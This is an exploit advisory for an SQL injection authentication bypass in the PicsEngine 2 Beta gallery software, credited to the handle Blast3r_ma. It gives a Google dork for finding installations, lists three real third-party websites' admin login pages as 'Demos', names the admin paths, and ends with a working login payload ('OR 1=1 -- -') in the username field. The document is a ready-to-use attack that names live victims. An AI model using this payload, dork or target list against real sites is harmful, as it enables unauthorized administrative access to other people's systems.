PicsEngine 2 Beta - SQL Injection Authentication Bypass Vuln

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# Exploit Title: PicsEngine 2 Beta - SQL Injection Authentication Bypass Vulnerability
# Google Dork: intitle:"Powered By PicsEngine 2 Beta"
# Date: 28-1-2016
# Twitter :D : https://twitter.com/Blast3r_ma
# Exploit Author: Blast3r_ma
# Software Link: http://www.commentcamarche.net/download/telecharger-34086165-picsengine
# Software Link: http://telecharger.logiciel.net/picsengine/
# Tested on:  Windows , Linux
# Version: 2 Beta
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=========Demos:=================
http://www.ethnomusika.org/public/gallery/admin/signin.php?ref=/public/gallery/admin/
http://www.sylval.com/galerie/admin/signin.php?ref=/galerie/admin/
http://chomette-architectes.com/galerie/admin/signin.php?ref=/galerie/admin/
.......
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Path:
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http://<target>/gallery/admin
or
http://<target>/admin
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POC-Exploit:
============
*Username: ADmin' OR 1=1 -- -
*Password: lksjfksjflsdkfj